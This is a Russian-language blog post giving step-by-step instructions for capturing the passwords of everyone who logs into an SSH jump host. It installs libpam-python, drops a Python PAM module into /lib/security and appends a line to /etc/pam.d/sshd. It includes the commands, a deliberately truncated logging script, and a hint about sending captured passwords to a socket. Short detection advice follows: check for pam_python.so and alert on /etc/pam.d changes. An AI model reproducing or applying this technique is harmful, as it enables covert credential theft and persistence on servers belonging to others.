Демонюга на libpam

Демонюга на libpam

@mobyfs
Поехали разбираться!

Короткая справка

Есть достаточно крутой способ вытащить пароли всех тех, кто логинится на джампер по ssh.


Как делать "не надо"!

1) Устанавливаем пакет для манипуляций с логинами через Python

apt install libpam-python 

2) Создаем файл pwreveal.py по пути /lib/security/ (создаем папку если ее нет)

3) Открываем /etc/pam.d/sshd и добавляем строку "auth requisite pam_python.so pwreveal.py"

printf "\nauth required pam_python.so pwreveal.py" >> /etc/pam.d/sshd


Спойлер: т.к мы удаляем строку @include common-auth то аутентификация все равно будет проверяться, и с "левым" паролем войти нельзя, но теперь он падает в логи (интересный момент, если апгрейднуть скрипт то можно и на сокет кинуть кому-нибудь, но делать этого мы конечно же не будем)


Что такое sshd?

OpenSSH Daemon - это программа-сервер, обслуживающая запросы программы-клиента ssh. Вместе эти программы заменяют rlogin и rsh и обеспечивают защищённую и зашифрованную связь между двумя непроверенными компьютерами через незащищённую сеть.

sshd - это служба, принимающая запросы на соединения от клиентов. Обычно она запускается при загрузке системы из /etc/rc. Для каждого нового соединения создаётся (с помощью вызова fork) новый экземпляр службы. Ответвлённый экземпляр обрабатывает обмен ключами, шифрование, аутентификацию, выполнение команд и обмен данными.


Код скрипта pwreveal.py (урезанный)

import syslog
def auth_log(msg):
    syslog.openlog(facility=syslog.LOG_AUTH)
    syslog.syslog('SSH Attack Logged: ' + msg)
    syslog.closelog()
def pam_sm_authenticate(pamh, flags, argv):
     auth_log('Remote Host: %%s (%%s:%%s)' %% (pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS
def pam_sm_setcred(pamh, flags, argv):
    return pamh.PAM_SUCCESS
def pam_sm_acct_mgmt(pamh, flags, argv):
    return pamh.PAM_SUCCESS
def pam_sm_open_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS
def pam_sm_close_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS
def pam_sm_chauthtok(pamh, flags, argv):
    return pamh.PAM_SUCCESS

Тут написан не совсем полный вариант... думаю вы понимаете почему я это сделал, но если чуть-чуть подумать, то полный сценарий атаки будет достаточно легко воспроизвести.


Что нужно сделать чтобы избежать этого?

Важно прослеживать чтобы на вашей машине не было файла: pam_python.so в директории: /lib/*/security/ если конечно там ничего не завязано на нем.


Итоги

Исходя из моих наблюдений не каждый SIEM отслеживает достаточно важные изменения на тачках (и по хорошему такое добро должен отслеживать каждый SIEM), в нашем случае это:

  • изменение файла /etc/pam.d/sshd

В случае если в SIEM такое не запалилось... лучше написать какое-то правило корреляции на детект изменений файлов в директории /etc/pam.d/*


Всем хорошего утра/денька/вечера/ночи!


Report Page